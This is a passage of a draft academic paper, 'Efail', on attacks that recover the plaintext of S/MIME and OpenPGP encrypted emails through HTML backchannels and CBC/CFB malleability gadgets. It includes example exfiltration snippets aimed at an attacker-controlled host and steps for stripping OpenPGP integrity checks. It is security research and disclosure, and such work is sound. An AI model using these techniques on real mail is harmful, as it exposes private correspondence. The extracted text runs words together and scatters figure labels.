Efail: Breaking S/MIME and OpenPGP Email Encryption usingExfiltration Channels (draft 0.9.0)

Damian Poddebniak1, Christian Dresen1, Jens Muller2, Fabian Ising1, Sebastian Schinzel1,Simon Friedberger3, Juraj Somorovsky2, and Jorg Schwenk2

1Munster University of Applied Sciences2Ruhr University Bochum

3KU Leuven

Abstract

OpenPGP and S/MIME are the two prime standardsfor providing end-to-end security for emails. We de-scribe novel attacks built upon a technique we call mal-leability gadgets to reveal the plaintext of encryptedemails. We use CBC/CFB gadgets to inject maliciousplaintext snippets into encrypted emails that abuse ex-isting and standard conforming backchannels, for exam-ple, in HTML, CSS, or x509 functionality, to exfiltratethe full plaintext after decryption. The attack works foremails even if they were collected long ago, and is trig-gered as soon as the recipient decrypts a single mali-ciously crafted email from the attacker. The attack hasa large surface, since for each encrypted email sent to nrecipients, there are n+1 mail clients that are susceptibleto our attack.

We devise working attacks for both OpenPGP andS/MIME encryption, and show that exfiltration channelsexist for 23 of the 35 tested S/MIME email clients and 10of the 28 tested OpenPGP email clients. While it is nec-essary to change the OpenPGP and S/MIME standards tofix these vulnerabilities, some clients had even more se-vere implementation flaws allowing straightforward ex-filtration of the plaintext.

1 Introduction

Email. Despite the emergence of many secure messag-ing technologies, email is still one of the most commonmethods to exchange information and data. Accordingto a study by Radicati, the total number of emails ex-changed in 2017 reached 269 billion per day [1]. Theseemail messages contain sensitive data, and are often usedto secure other applications. One example for the latteris the password reset feature of many security, where ahyperlink to reset the password is included in the bodyof the email. Thus, gaining access to this email contentcan be used to comprise additional services of the victim.

End-to-end encryption. While transport security be-tween mail servers is useful against some attacker sce-narios, it does not offer reliable security guarantees re-garding confidentiality and authenticity of emails. Re-ports of pervasive data collection efforts by nation stateactors, large-scale breaches of email servers, revealingmillions of email messages [2–5], or attackers compro-mising email accounts to search the emails for valuabledata [6, 7] underline that transport security alone is notsufficient.

End-to-end encryption is designed to protect user datain such scenarios. With end-to-end encryption, the emailinfrastructure becomes merely a transportation servicefor opaque email data and no compromise – aside fromthe endpoints of sender or receiver – should affect thesecurity of an end-to-end encrypted email.

S/MIME and OpenPGP. The two most prominent stan-dards offering end-to-end encryption for email, S/MIME(Secure / Multipurpose Internet Mail Extensions) andOpenPGP (Pretty Good Privacy), co-exist for more thantwo decades now. Although the cryptographic securityof them was subject to criticism [8–10], little was pub-lished about practical attacks. Instead, S/MIME is com-monly used in corporate and government environments.1

It benefits from its ability to integrate within PKIs andthat most widely-used email clients support it by de-fault. OpenPGP often requires the installation of ad-ditional software and, besides a steady userbase withinthe technical community, is recommended for people inhigh-risk environments. In fact, human rights organiza-tions such as Amnesty International [11], EFF [12], orReporters without Borders [13] recommend using PGP.The story of how NSA insider Edward Snowden con-vinced reporter Glenn Greenwald to use email encryp-tion has become famous, and his video “GPG for jour-nalists” is still available on the Internet.

1A seemingly curated list of European companies and agenciessupporting S/MIME is available under https://gist.github.com/rmoriz/5945400.

1

We show that this trust is not justified, neither inS/MIME nor in OpenPGP, at least given the current useof obsolete cryptographic primitives in the specifications.

Attack scenario. In our model, the attacker is ableto collect end-to-end encrypted emails, either througha man-in-the-middle attack on the network, by access-ing a SMTP server, by accessing the IMAP account onthe server, or by some other means. He may store theseemails for some time before he starts his attack.

To decrypt the emails, he first manipulates their ci-phertext by using appropriate malleability gadgets. Inorder to make these manipulations work, he may makeinformed guesses about the operating system, the emailclient and the encryption software the victim uses.

He then sends the manipulated email to one of theoriginal receivers, or to the original sender. He may hidethis by choosing new FROM, DATE and SUBJECT fields,and he may hide the manipulated ciphertext by hidingit within an invisible iFrame. Thus the attack mail thevictim receives looks unsuspicious.

Once he opens the email in his client, the manipulatedciphertext will be decrypted – first the private key of thevictim is used to decrypt the session key s, and then thissession key is used to decrypt the manipulated ciphertextc. The decrypted plaintext now contains, due to the ma-nipulations, an exfiltration channel (e.g., an HTML hy-perlink) that will send the decrypted plaintext as a wholeor in parts to the attacker.

Backchannels and exfiltration channels. One of thebasic building blocks for our attacks are backchan-nels. A backchannel is any functionality that inter-acts with the network, for example, a method forforcing the email client to invoke an external URL.A simple example uses an HTML image tag <imgsrc="http://efail.de"> which forces the emailclient to download an image from efail.de. Thesebackchannels are widely known for their privacy im-plications as they can leak whether and when the useropened an email and which software and IP he used.

Until now, the fetching of external URLs in emailwas only considered to be a privacy threat. In this pa-per, we abuse backchannels to create plaintext exfiltra-tion channels that allow sending plaintext directly to theattacker. We analyze how an attacker can turn backchan-nels in email clients to exfiltration channels, and thus ob-tain victim plaintext messages. We show the existence ofbackchannels for nearly every email client, ranging fromclassical HTML resources to OCSP requests and Certifi-cate Revocation lists.

Direct exfiltration channels. We discovered severalattacks that solely exploit the complex interaction ofHTML together with MIME, S/MIME and OpenPGP inemail clients. These cases are straightforward to ex-

ploit and do not require any changes of the ciphertext.In the most straightforward example of our attacks, theadversary prepares a plaintext email structure that con-tains an <img> element, whose URL is not closed withquotes. He then copies the email ciphertext directly afterthis element. Once the victim client decrypts the cipher-text, it replaces the ciphertext in-place with its plaintextand attempts to parse the image source content (see Fig-ure 1). The subsequent HTTP request path contains thefull plaintext, which is thus sent to an attacker-controlledserver. It is astonishing that these vulnerabilities are stillpresent in current versions of Thunderbird or Apple Mail.

Malleability gadget exfiltration channels. Our secondset of attacks exploits the construction of obsolete cryp-tographic primitives. OpenPGP solely uses the CipherFeedback Mode (CFB) and S/MIME solely uses the Ci-pher Block Chaining (CBC) mode of operation. Bothmodes provide malleability of plaintexts. This propertyallows an attacker to reorder, remove or insert ciphertextblocks, or to perform meaningful plaintext modificationswithout the encryption key. More concretely, he can flipspecific bits in the plaintext or even create arbitrary plain-text blocks if he knows parts of the plaintext. Malleabil-ity of these two encryption modes is well-known and hasbeen exploited in many attacks on network protocols likeTLS, IPsec, or SSH [14–25], but it has not been exploitedin plaintext-recovery attacks on email standards.

We use the malleability of CBC and CFB to constructso called malleability gadgets that allow us to create cho-sen plaintexts with any length under the assumption thatthe attacker knows one plaintext block. These malleabil-ity gadgets are then used to inject malicious plaintextsnippets within the actual plaintext. A perfect malleabil-ity gadget attack is possible if the attacker knows a sin-gle complete plaintext block from the ciphertext, whichis 16 bytes for AES. However, fewer known plaintextbytes may also be sufficient, depending on the exfiltra-tion channel that the attacker aims for. Guessing smallparts of plaintext is typically not a problem since thereare hundreds of bytes of structured metadata in eachemail that are always static and only differ among emailclients. As emails contain the user agent string, the at-tacker knows which email client the victim uses.

With this technique, we were able to defeat the en-cryption modes used in both S/MIME and PGP. Whileattacking S/MIME is straightforward, for OpenPGP, weneeded to develop more complex exploit techniquesupon malleability gadgets because the data is typicallycompressed before encryption.

Responsible disclosure. We have disclosed the vulner-abilities to all affected email vendors, and to nationalCERTs and our findings were confirmed by these bod-ies.

2

Contributions. We make the following contributions:

• We describe practical attacks against major emailclients allowing to exfiltrate decrypted emails di-rectly, without ciphertext modifications.

• We introduce the concept of malleability gadgets,which allow an attacker to inject malicious chosenplaintext snippets into the email ciphertext. We de-scribe and apply malleability gadgets for the CBCand CFB modes used in email encryption.

• We analyze all major email clients for backchannelsthat can be used for the creation of exfiltration chan-nels.

• OpenPGP’s plaintext compression significantlycomplicates our attack. We describe techniques tocreate arbitrary plaintexts from specific changes inthe compressed plaintext using advanced malleabil-ity gadgets.

• We discuss medium and long-term countermeasuresfor email clients and the S/MIME and PGP stan-dards.

2 Background

In its simplest form, an email is a text message con-forming to the Internet Message Format (IMF) [26]. Asthe IMF lacks features that are required in the modernInternet, such as the transmission of binary data, it isaugmented with Multipurpose Internet Mail Extension(MIME) [27] to support transmission of multimedia mes-sages or – in case of OpenPGP and S/MIME – to allowend-to-end encryption of emails.

S/MIME and CMS. The Secure/Multipurpose InternetMail Extension (S/MIME) is an extension to MIMEdescribing how to send and receive secured MIMEdata [28]. S/MIME focuses on the MIME-related parts ofan email and relies on the Cryptographic Message Syn-tax (CMS) to digitally sign, authenticate, or encrypt ar-bitrary messages [29]. CMS is a set of binary encodingrules and methods to create secured messages. As it isderived from PKCS#7, the term “PKCS” is found in var-ious headers of secured emails.

Pretty Good Privacy. Phil Zimmerman developed thefirst version of Pretty Good Privacy (PGP) in 1991 asa means to enable political activists to communicate se-curely on BBSs, Usenet groups and the early Internet.In the late ’90s, the IETF published RFC 2440 describ-ing the OpenPGP format, which has been updated sev-eral times. The latest standard is RFC 4880, published in2007, which describes a variety of cryptographic primi-tives for encrypting and signing digital data [30].

2.1 Cryptographic basics

In the email context, both S/MIME and PGP use hybridencryption, in which the sender generates a random ses-sion key s that is used to symmetrically encrypt the mes-sage m into a cipher text c.

The session key s is encrypted with at least two publickeys using a public key encryption scheme. The first en-cryption of s happens with the public key of the sender.Additional encryptions are done using all the public keysof the intended receivers. Thus, s will be encrypted undern+ 1 different public keys for n recipients of the email.Since our attacks exploit weaknesses in the symmetricencryption, we focus on the symmetric encryption part.

Encryption modes in OpenPGP and S/MIME. Forsymmetric encryption of the message body m, the stan-dards specify several block ciphers, the most relevantbeing 3DES and AES. As encryption modes, S/MIMEuses Cipher Block Chaining (CBC) and OpenPGP usesthe Cipher Feedback Mode (CFB). These modes use thesame final step in the decryption of the ith ciphertextblock Ci in a ciphertext C because both use the XOR op-eration ⊕ on the result of the symmetric key operationdecs(Ci) or encs(Ci) and an adjacent chaining ciphertextblock. For CFB, the chaining block is the following ci-phertext block Ci+1. For CBC this is the previous cipher-text block Ci−1. The decryption of Ci into its respectiveplaintext block Pi for the two encryption modes are thusPi = decs(Ci)⊕Ci−1 for CBC and Pi = encs(Ci)⊕Ci+1for CFB.

Malleability properties in encryption modes. XOR isa malleable operation, i.e. flipping a single bit in oneof the two operands of ⊕ results in a bit flip of the finalplaintext at the same position. Therefore, if we can guessthe Pi, we can transform it into any chosen plaintext P′i .

However, this comes at a cost. Since all of the modesmentioned above are chained, manipulating a ciphertextblock will change the chaining plaintext block in an un-predictable way. For CBC, this is the plaintext block Pi−1corresponding to the manipulated ciphertext to the left,for CFB this is the next plaintext block Pi+1.

This provides us with a useful malleability property ofsingle blocks in OpenPGP and S/MIME ciphertexts withthe caveat that the attacker has to find a way to deal withthe random blocks.

3 Exfiltration over backchannels

Modern email clients are able to assemble and rendervarious types of content, most notably HTML docu-ments, and HTML provides methods to fetch resourceslike images and stylesheets from the Internet. Emailclients may additionally request other information, forexample, to validate the status of a cryptographic certifi-

3

cate. We will refer to all these channels as backchan-nels because they can interact with possibly attacker-controlled servers.

Backchannels in the email context are long-known tobe a privacy issue because they allow detecting if, whenand where a message has been read and may leak fur-ther information such as the user’s mail client and oper-ating system via HTTP request headers. For this reason,the developers of many email clients disable backchannelenabling functionality and ask the user for confirmation.In Section 6, we describe our structured analysis of allmajor email clients regarding restrictions of backchan-nels. There are several email clients allowing backchan-nels by default. For a vast majority of those that arerestricting backchannels by default, we found filter by-passes that open backchannels without the user noticing.

In the following sections we show that backchannelscan be used as exfiltration channels to break confiden-tiality of a message.

3.1 Direct exfiltrationDuring our research we discovered that various emailclients will leak plaintext messages if the attacker craftsspecific emails. Email clients which do not isolate multi-ple MIME parts of an email but display them in the sameHTML document allow attackers to build trivial decryp-tion oracles. All the attacker has to do is wrap the en-crypted message into plaintext MIME parts containingan HTML based backchannel and send the message tothe victim. One possible variant of this attack using the<img> HTML tag is shown in Figure 1 (a).

If the email client first decrypts the encrypted partand then puts all body parts into one HTML documentas shown in Figure 1 (b), the HTML rendering engineleaks the decrypted message to the attacker-controlledweb server as shown in Figure 1 (c).

Because the plaintext message is leaked after decryp-tion, this attack is independent of the email encryptionscheme used and may be used even against authenticatedencryption schemes. Direct exfiltration channels arisefrom faulty isolation between secure and insecure mes-sage parts. Although it seems that these are solely im-plementation bugs, their mitigation can be challenging.For example, if the email decryption and email presenta-tion steps are provided by different instances, the emailclient is not aware of the encrypted email message struc-ture. This scenario is quite common when email securitygateways are used.

Out of 48 tested mail clients 17 had missing isola-tion which would allow leaking secret messages to anattacker-controlled web server in case a mail gatewaywould decrypt and simply replace the encrypted part withthe plaintext. Even worse, in five email clients, the con-cept shown in Figure 1 can be exploited directly: Ap-

Figure 1: Malicious email structure and missing contextboundaries force the client to decrypt the ciphertext andleak the plaintext using the <img> element.

ple Mail (macOS), Mail App (iOS), Thunderbird (Win-dows, macOS, Linux), Postbox (Windows) and Mail-Mate (macOS). The first two clients by default load ex-ternal images without asking and therefore leak the plain-text of S/MIME or OpenPGP encrypted messages. Forother clients our attacks require user interaction. For ex-ample, in Thunderbird and Postbox we can completelyredress the UI with CSS and trick the user into submittingthe plaintext with an HTML form if he clicks somewhereinto the message. Note that thanks to the MIME struc-ture the attacker can include several ciphertexts into oneemail and exfiltrate their plaintexts at once. For Thun-derbird this security issue is present since v0.1 (2003).

3.2 Towards generic exfiltration channelsThe previous section introduced direct exfiltration chan-nels which are remarkably easy to exploit, but are builtupon implementation errors in certain email clients. Inthe following, we will introduce two techniques for creat-ing exfiltration channels that abuse standard conformingbehaviour of the email clients. These generic exfiltrationchannels should work in all standard conforming emailclients. This section introduces the leaky block tech-nique that requires a passive man-in-the-middle (MitM)attacker and that makes assumptions of the original con-tent of an encrypted email. These assumptions are un-likely, but not impossible, to hold on commonly sent

4

i m a g e s / ef a i l . d e / f a i l . p n g

efail inc. Quality research. http://efail.de/images/efail.png

Your temporary password: Ohyoo4hu …

f a i l . d e / O h y o o 4 h u

Leaky window

- Efail GmbH <img src=“https://efail.de/images/efail.png” />

Your temporary password: Ohyoo4hu …

? ? ? ? ? ? ? ?f a i l . d e / O h y o o 4 h u

Leaky blocksPiPi-1PwPw-1

Figure 2: This CBC leaky block exfiltration channel re-places the respective leaky blocks (Cw−1,Cw) with otherciphertext blocks (Ci−1,Ci) to exfiltrate the plaintext Pi.

email in reality.Assume an encrypted2 HTML email containing a

backchannel through an HTML image tag at a knownciphertext block tuple (Cw−1,Cw). We call those blocksthat are part of the image URL leaky spyhole blocks asthey always leak these plaintext blocks when the email isopened.

Through ciphertext reordering as described in Sec-tion 2.1 and shown in Figure 2, the attacker can replacethe leaky blocks with other interesting ciphertext blocks(Ci−1,Ci). In effect, the respective plaintext Pi will bereflected in the URL path, along with the random plain-text block Pi−1.3 The resulting HTTP request createsthe plaintext exfiltration channel that a passive MitM at-tacker can observe.

The next section introduces the malleability gadgettechnique that creates exfiltration channels for any en-crypted email in most of default email client setups thateven an off-path attacker can access.

3.3 Malleability gadgets

In the previous example, a MitM attacker could exfiltratethose emails that already contained an external HTMLimage using block reordering. We now relax this con-straint and introduce the concept of malleability gad-gets that allow us to inject arbitrary exfiltration channelsgiven only a single block of known plaintext.

Definition. We call a pair of two adjacent ciphertextblocks (Ci−1,Ci) for CBC and (Ci,Ci+1) for CFB a mal-leability gadget if we know parts of the matching plain-text block Pi, and if we can transform this known plain-text into a chosen plaintext by bitwise manipulating Ci−1or Ci+1, respectively.

CBC malleability gadgets. We start with a cipher-text block Ci and its adjacent chaining block Ci−1, fromwhich we know the plaintext Pi (see Figure 3 (a)). MIMEheaders in emails are sufficient, because they are staticfor every email client and offer dozens of known plain-text bytes. We now transform Pi into any plaintext Pc

2For brevity, we only show the examples for CBC, which can bedirectly adopted to CFB.

3Random data in URLs in HTML emails turned out to be no prob-lem because non-printable characters are URL-encoded automatically.

Ci-1

Pi (known)

Ci

X Ci

Pc (chosen)

(a)

(b)

random plaintext? ? ? ? ? ? ? ?

Pi-1

Ci

Pi (known)

Ci+1

XCi

encryption

Pc (chosen)

(c)

(d)

random plaintext? ? ? ? ? ? ? ?

Pi-1

CBC mode CFB mode

encryptiondecryptiondecryption

decryption decryption encryption encryption

Figure 3: Transforming a known plaintext Pi for CBC (a)and CFB (c) to a chosen plaintext Pc for CBC (b) andCFB (d).

by replacing Ci−1 with X = Ci−1⊕Pi⊕Pc as shown inFigure 3 (b). This comes at a cost as X will be decryptedwith an unknown key, resulting in uncontrollable and un-known random bytes in Pi−1.

CFB malleability gadgets. Malleability gadgets for theCFB mode work similarly to those in CBC mode – onlythe side of the chaining block is changed to Ci+1 asshown in Figure 3 (c) and (d). Again, we can transforma single known plaintext block Pi into a chosen plaintextblock Pc, whereas this time, the plaintext block Pi+1 willbe destroyed. X is calculated as X =Ci+1⊕Pi⊕Pc.

Using malleability gadgets to exfiltrate data. Weshowed that malleability gadgets allow an attacker to cre-ate arbitrary plaintexts from a given ciphertext, with thecaveat that there is always a block of random data ad-jacent to the chosen plaintext block. To create plaintextexfiltration channels, the attacker must deal with theserandom blocks in a way that they are ignored. One canthink of several ways to achieve that. When commentsare available within a context, for example, via /* and */,exfiltration channels can easily be constructed by simplycommenting out the random blocks. In case no com-ments are available, we can make use of subtle charac-teristics of the underlying data format, for example, thatunnamed attributes in HTML are ignored.

Contrary to common belief that a larger block size isalways preferable in block ciphers, we found 3DES witha blocksize of 8 bytes more challenging to exploit thanAES with a blocksize of 16 bytes. This was mainly dueto the fact that it turned out to be very hard to build work-ing exfiltration channels with just 8 byte blocks of chosenplaintexts, interrupted with 8 random bytes.

4 Attacking S/MIME

In this section we show that S/MIME is vulnerable toCBC gadget attacks, and demonstrate how exfiltration

5

Email HeaderContent-type: application/pkcs7-mime; smime-type=enveloped-data

Email Body

EnvelopedData <base64>RecipientInfos (1 . . . n session keys)

EncryptedContentInfoAlgorithmIdentifier

Content-type: multipart/signed ... <encrypted>

Figure 4: Simplified structure of a signed-then-encryptedS/MIME message in multipart/signed format.

codes can be injected into any S/MIME email.

4.1 S/MIME packet structureMost clients can either only sign, only encrypt or sign-then-encrypt outgoing messages. Sign-then-encrypt isthe preferred wrapping technique when both confiden-tiality and authenticity are needed. The body of a signed-then-encrypted email consists of two MIME entities,one for signing and one for encryption. The outermostentity – also specified in the email header – is typi-cally EnvelopedData (see Figure 4). The EnvelopedDatadata structure holds the RecipientInfos with multiple en-crypted session keys and the EncryptedContentInfo. En-cryptedContentInfo defines which symmetric encryptionalgorithm was used and finally holds the ciphertext. De-cryption of the ciphertext reveals the inner MIME entityholding the plaintext message and its signature. Note thatthere is no integrity protection.

4.2 Attack descriptionS/MIME solely uses the CBC encryption mode to en-crypt data, so we can use the CBC gadget from Figure 3for all S/MIME emails. When decrypted, the ciphertextof a signed-then-encrypted email typically starts withContent-type: multipart/signed, whichreveals enough known-plaintext bytes to fully utilizeAES-based CBC gadgets. Therefore, in the case ofS/MIME, we can directly use the first two cipher blocks(IV,C0) – IV is the initialization vector – and modify theIV to turn P0 into any chosen plaintext block Pci .Injection of exfiltration channels. A slightly simpli-fied version of our attack is shown in Figure 5. The firstblocks of a ciphertext whose plaintext we want to exfil-trate are shown in Figure 5 (a). We use (IV,C0) to con-struct our CBC gadgets because we know the completeassociated plaintext P0. Figure 5 (b) shows the canonicalCBC gadget as it uses X = IV⊕P0 to set all its plaintextbytes to zero.

We then modify and append multiple CBC gadgetsto prepend a chosen ciphertext to the unknown cipher-text blocks (Figure 5 (c)). As a result, we control the

plaintext in the first and third block, but the second andfourth block contain random data. The first CBC gadgetblock Pc0 opens an HTML image tag and a meaninglessattribute named ignore. This attribute is used to consumethe random data in the second block such that the randomdata is not further interpreted. The third block Pc1 thenstarts with the closing quote of the ignored attribute andadds the src attribute that contains the domain name fromwhich the email client is supposed to load the image. Thefourth plaintext block again contains random data, whichis the first part of the path of the image URL. All subse-quent blocks contain unknown plaintexts, which now arepart of the URL. Finally, when an email client parses thisemail, the plaintext is sent to the HTTP server defined inPc1 .

Meaningless signatures. One could assume that thedecryption of modified ciphertexts would fail becauseof the digital signature included in the signed-then-encrypted email, but this is not the case. EveryS/MIME signature can easily be removed from the mul-tipart/signed mail body [31]. This transforms the signed-then-encrypted email into an encrypted message that hasno signature. Of course, a cautious user could detect thatthis is not an authentic email, but even then, by the timethe user detects that this is a malicious email, the plain-text would already have been exfiltrated. Signatures canalso not become mandatory, because this would hinderanonymous communication. Furthermore, an invalid sig-nature typically does not prevent the display/rendering ofa message in email client either. This has historic rea-sons, as mail gateways could invalidate the signature bychanging line-endings, etc.

4.3 Practical exploitation

Exfiltration codes must be designed such that they areignorant to interleaved random blocks. Although this re-striction can be circumvented by careful design of theexfiltration code – recap the usage of the ignore attribute– some exfiltration codes may require additional tricks towork in practice.

For example, HTML’s src attribute, requires the ex-plicit naming of the protocol, e.g. http://. Unfortu-nately, src="http:// has already 12 bytes, leavingmerely enough room for a 4 byte domain. A workingsolution is to scatter the exfiltration code into multipleHTML elements without breaking its functionality. Incase of the src attribute, we used an additional <baseignore="..." href="http:"> element to globallydefine the base protocol first.

Emails sent as text/plain pose another diffi-culty. Although there is nothing special about thoseemails in the context of CBC gadgets, injection ofContent-type: text/html turned out to be dif-

6

unknown plaintext

decryption

IV

Content-type: mu ltipart/signed unknown plaintext

random plaintext unknown plaintext unknown plaintext<img ignore=“ “ src=efail.de/? ? ? ? ? ? ? ?

(a)

(c)

(b)

C0

P0 P1

C0

X0 =IV ⊕ P0 ⊕ Pc0 C0

Pc0

X1 =IV ⊕ P0 ⊕ Pc1 C0 C1 C2 C3

random plaintextPc1

? ? ? ? ? ? ? ?

X =IV ⊕ P0

0 0 0 0 0 0 0 0

decryption

C1 C2

decryption decryption

C3

decryption

decryption decryptiondecryption decryption decryption decryption

Figure 5: Detailed description of the attack on S/MIME. The original ciphertext is shown in (a). (b) is the canonicalCBC gadget resulting in an all zero plaintext block. (c) is the modified ciphertext that is sent to the victim.

ficult due to restrictions in the MIME headers. Anattacker has to apply tricks such that header parsingwill not break when random data is introduced into theheader.

Each of this constraints is a minor difficulty, but in-creases the amount of work for a real exploit. Wethus not spend further time to find a solution for ev-ery client, but only evaluated some ideas for popularclients. During our evaluation we could use contentsniffing for example to overcome this limitation in someclients. Furthermore, we expect most emails to be sendas multipart/alternative anyway – especiallyin corporate environments.

5 Attacking OpenPGP

Our exfiltration attacks are not only possible in S/MIME,but also work against OpenPGP. However, there are twoadditional obstacles: (1) OpenPGP uses compression bydefault and (2) Modification Detection Codes (MDC) areused for integrity protection.Compression. In the context of malleability gadgets,compression makes exploitation more difficult, becausethe compressed plaintext is harder to guess. Similarto S/MIME, PGP emails also contain known headersand plaintext blocks, for example, Content-Type:multipart/mixed, but after compression is applied,the resulting plaintext may vastly differ per mail.

The difficulty here is to guess a certain amount ofcompressed plaintext bytes in order to fully utilize theCFB gadget technique. Not knowing enough compressedplaintext bytes is hardly a countermeasure, but makespractical exploitation a lot harder.

We show how the compression structure can be ex-ploited to create exfiltration channels. Interestingly, withthe compression in place, we can create exfiltration chan-nels even more precisely and remove the random data

blocks from the resulting plaintext.

Integrity protection. The OpenPGP standard statesthat detected modifications to the ciphertext should be“treated as a security problem”, but does not define whatto do in case of security problems. The correct way ofhandling this would be to drop the message and notifythe user. However, if clients try to display whatever isleft of the message as a “best effort”, exfiltration chan-nels may be triggered.

In order to understand how the integrity protection canbe disabled and how compression can be defeated, wehave to go into more detail of OpenPGP.

5.1 OpenPGP packet structureIn OpenPGP, packets are of the form tag/length/body.The tag denotes the packet type as listed in Table 1. Thebody contains either another nested packet or arbitraryuser data. The size of the body is encoded in the lengthfield.

Tag no. Type of PGP packet

8 CD: Compressed Data Packet9 SE: Symmetrically Encrypted Packet

11 LD: Literal Data Packet18 SEIP: Symmetrically Encrypted and Integrity

Protected Packet19 MDC: Modification Detection Code Packet

60 – 63 Experimental packets (ignored by clients)

Table 1: PGP packet types used throughout this paper.

Message encryption. A message is encrypted in foursteps: (1) the message m is encapsulated in a Literal Data(LD) packet. (2) the LD packet is compressed via deflateand encapsulated in a Compressed Data (CD) packet. (3)the Modification Detection Code (MDC) over the CD

7

packet is calculated and appended to the CD packet as anMDC packet. (4) finally, the concatenated CD and MDpackets are encrypted and the ciphertext is encapsulatedin an Symmetrically Encrypted and Integrity Protected(SEIP) packet (see Figure 6).

5.2 Defeating integrity protection

Modern clients use the SEIP packet type, in which anymodification of the plaintext will be detected due to amismatch of the SHA-1 checksums of the message andthe attached MDC packet.

Ignoring the MDC. A client must stop to process a mes-sage, if it encounters an invalid MDC. This can easilybe verified by introducing changes to the ciphertext andleaving the MDC as it is. With a very high probability,the MDC will not fit to the new ciphertext and any clientprocessing such a message is potentially vulnerable.

Stripping the MDC. Similar to the previous attempt, theMDC can also be removed, such that the client can notcheck the MDC at all. This is easily possible by remov-ing the last 22 bytes from the ciphertext.

Changing the packet type.A more elaborate method is to disable the integrity

protection by changing the SEIP packet to a Symmetri-cally Encrypted (SE) packet, which has no integrity pro-tection. This is straightforward, because the packet typeis not encrypted (see Figure 6). This downgrade attackhas been known since 2002 [32], but never used in anactual attack.

However, there is a caveat: in an SE packet, the lasttwo bytes of the IV are added just after the first block.This was originally used to perform an integrity quickcheck on the session key.

While the SE type resynchronizes the block bound-aries after encrypting these two additional bytes, theSEIP does not perform this resynchronization. To repairthe decryption after changing the SEIP to an SE packet,two bytes must be inserted at the start of the first blockto compensate for the missing bytes. This was also de-scribed by Perrin and Magazinius [32, 33].

SEIP (Tag 18) || Length

CD (Tag 8) || Length

LD (Tag 11) || Length

...Content-type: multipart/mixed; boundary="..."

<encrypted>

9fbd5d27474c2670d78f71c32ef5404e37c9cd88

MDC (Tag 19) || Length

<compressed>

Figure 6: Nesting of a Symmetrically Encrypted and In-tegrity Protected Data Packet in OpenPGP.

Since an attack was published against this integrityprotection mechanism [34], its interpretation is discour-aged [30], and the two bytes are ignored. They depict thebeginning of the first real plaintext block and the SE andSEIP packet types treat them differently.

5.3 Defeating deflate

OpenPGP utilizes the deflate algorithm [35] to compressLD packets before encrypting them. It is based on LZ77(specifically LZSS) and Huffman Coding. Although theexact details are not important for this paper, it is im-portant to note that a single message may be partitioned,such that different modes of compression can be used fordifferent segments of the message.

Modes of compression. The standard defines threemodes of compression: uncompressed, compressed withfixed Huffman trees, and compressed with dynamicHuffman trees. It is specified by a header prepended toeach segment. A single OpenPGP CD packet can containmultiple compressed or uncompressed segments.4

Backreferences. Typically, a full message is wrappedinside a single compressed segment. Then, the algorithmapplies a search for text fragment repetitions of certainlength within the boundaries of a sliding window. If arepetition is found, it is replaced with a shorter pointer toits previous occurrence.

For example, the text How much wood coulda woodchuck chuck is shortened to How muchwood could a <-13, 4>chuck <-6, 5>. Inreality, the deflate algorithm operates bit-by-bit toachieve a higher compression level. The repeatingstrings are inserted into the Huffman trees and placedbefore the compressed text. During the decompressionprocess, the algorithm uses the Huffman tree to searchfor patterns.

Uncompressed segments. In addition to compressedsegments, the deflate data format also specifies uncom-pressed segments. These segments are also used duringthe search for repetitions, but, in contrast to compressedsegments, may contain arbitrary data. This is an impor-tant observation, because it allows us to work around thelimited amount of known plaintext.

Dynamic and fixed Huffman trees. Starting fromaround 90 to 100 bytes of plaintext, deflate uses a dy-namic Huffman tree that is serialized to bytes and formsthe start of the deflate data. Dynamic Huffman treeschange substantially and are difficult to predict for partlyunknown plaintexts. For shorter texts, fixed Huffmantrees are used. They are statically defined in [35] and notlocated in the data. In the following sections, we assume

4RFC 1951 speaks of “blocks”. We change the terminology to “seg-ments” for better readability.

8

fixed Huffman trees to outline the attack.

5.3.1 Creating a CFB gadget

The first encrypted block seems most promising, becauseit consists of OpenPGP packet metadata and compres-sion headers.

By exploiting backreferences in the compression algo-rithm we are able to use only 11 bytes long malleabilitygadgets. These backreferences allow us to reference andconcatenate arbitrary blocks of data and thus create ex-filtration channels more precisely. Therefore, instead oftrying to work around the compression, we use it to pre-cisely inject our exfiltration codes in compressed form.

5.3.2 Exfiltrating compressed plaintexts

Assume we are in possession of an OpenPGP SEIPpacket which decrypts to a compressed plaintext. Weknow one decrypted block which allows us to construct amalleability gadget and thus arbitrary number of chosenplaintexts. Our goal is to construct a ciphertext which de-crypts to a compressed packet. Its decompression leadsto an exfiltration of the target plaintext.

A simplified attack is shown in Figure 7 and can beperformed as follows. Using our malleability gadget wefirst create three ciphertext block pairs (Ci,Ci+1) whichdecrypt into useful text fragments (Pc0,Pc1,Pc2). Thefirst text fragment represents an OpenPGP packet struc-ture which encodes a CD packet (which is encoded as0xaf in OpenPGP) containing a LD packet (encoded as0xa3). The latter two text fragments contain an exfiltra-tion channel, for example, <img src="efail.de/.We concatenate the ciphertext blocks into (C1, . . .C8) sothat they decrypt into our three text fragments and thetarget compressed plaintext block. Note that due to thenature of CFB every second block will contain randomgarbage. All blocks are placed into an uncompressedsegment. For the compressed segment we use a cipher-text which decrypts into a deflate segment containingbackreferences. The backreferences (B1 . . .B4) refer-ence fragments from the uncompressed segment. Oncethe victim decrypts and decompresses the email, the fi-nal text will result into a concatenation of text fragmentsPc0,Pc1,Pc2, and the compressed segment. Finally, thecompressed data is leaked to efail.de.

For more details on the exact packets and their struc-ture used in this attack we refer to Appendix A.

Note that the deflate structure gives us one advantageover attacking uncompressed data as described in our at-tacks on S/MIME. By using backreferences we can selectarbitrary text fragments. This means we can even skiprandom plaintext garbage blocks which result from ourCFB ciphertext modifications, and omit potential fail-ures by parsing the garbage data in email clients. The

nth most frequent start sequences frequency (%) cumulated (%)

1 a302789ced590b9014c519 30.95 30.952 a302789ced590d9014c515 7.99 38.943 a302789ced59099014d519 7.80 46.734 a302789ced590b701bc519 7.47 54.205 a302789ced590b7414d519 3.96 58.17

· · ·211 a302789ced59098c14551a 0.001 100.00

Table 2: Start sequences of 100,000 synthetic facebookpassword reset emails sorted by frequency. 211 differentbeginnings were observed in total.

email client will not process decrypted data located di-rectly in the uncompressed segments if they are hiddenin OpenPGP experimental packets.

5.4 Practical exploitation

Although 16 bytes of plaintext must be known to fullyutilize CFB gadgets, it is possible to work with a smalleramount of known plaintext. In this case, only the knownbytes can be changed freely and the remaining bytes willresult in unknown bytes. In the case of PGP, we wereable to conduct our attacks with incomplete CFB gadgetswhere only the first 11 bytes are known.5

